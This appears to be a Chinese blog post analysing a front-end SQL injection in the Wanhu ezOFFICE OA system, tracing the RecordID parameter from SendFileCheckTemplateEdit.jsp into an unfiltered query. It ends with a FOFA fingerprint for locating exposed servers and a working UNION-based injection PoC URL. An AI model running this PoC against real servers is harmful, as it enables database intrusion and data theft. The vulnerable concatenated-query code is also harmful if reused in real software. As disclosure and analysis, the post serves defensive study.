万户软件网络是业内普遍认可的智慧政务办公专家,OA系统国家行业标准编制组长单位,协同软件国家行业标准编制组长单位,22年专注协同管理领域.为您提供定制化的智慧政务一体化办公解决方案。万户OA DocumentEdit.jsp存在前台SQL注入漏洞,攻击者利用此漏洞获取数据库权限,深入利用可获取服务器权限。
首先进入public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp
//从前端请求中依次获取RecordID、TempName、FileType参数内容并设置mEditType、mUserName、useName、useId变量
String mRecordID\=request.getParameter("RecordID");
String mTempName\=request.getParameter("TempName");
String mFileType\=request.getParameter("FileType");
String mEditType\="1";
String mUserName\="Administrator";
//whir add for templete range
String useName\="";
String useId\="";
//取得模式
if ( mEditType\==null)
{
mEditType\="2"; // 2 起草
}
//取得类型
if ( mFileType\==null)
{
mFileType\=".doc"; // 默认为.doc文档
}
//取得用户名
if (mUserName\==null)
{
mUserName\="金格科技";
}
//取得模板
if ( mRecordID\==null)
{
mRecordID\=""; // 默认没有模板
}
//创建一个iDBManager2000,用于相关数据库的操作
DBstep.iDBManager2000 DbaObj\=new DBstep.iDBManager2000();
if (DbaObj.OpenConnection())
{//尝试数据库的连接,若连接成功构造sql语句
String mSql\="Select RecordID,FileName,FileType,Descript,useUserId,useName From Template\_File Where RecordID='"+ mRecordID + "'";
try
{
result\=DbaObj.ExecuteQuery(mSql);//执行sql语句
if (result.next())
{//将执行sql语句的结果依次遍历,将从数据库中得到的结果赋值给不同的变量
mRecordID\=result.getString("RecordID");
mFileName\=result.getString("FileName");
mFileType\=result.getString("FileType");
mDescript\=result.getString("Descript");
useId\=result.getString("useUserId");
useName\=result.getString("useName");
}
分析:我们发现在构造sql语句时,是直接将前端获取到的mRecordID
,拼接到其中,紧接着就是调用ExecuteQuery
方法来执行sql语句
接下来进入到ExecuteQuery
方法中
分析:在该方法首先是创建了一个result
变量用于接收sql语句执行的结果,之后就是调用executeQuery
方法,该方法是JDBC API的java.sql.Statement
接口的方法,用于执行SQL语句,最后进行异常处理,将执行结果返回
总结
在整个sql语句构造到执行的过程中没有对sql语句进行任何的过滤与限制,进而造成攻击者可以通过构造恶意的sql执行语句获取数据的敏感信息
fofa
app="万户网络-ezOFFICE"
poc
/defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1%27%20UNION%20ALL%20SELECT%20sys.fn\_sqlvarbasetostr(HashBytes(%27MD5%27,%27admin%27)),NULL,NULL,NULL,NULL,NULL--
12 篇文章
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!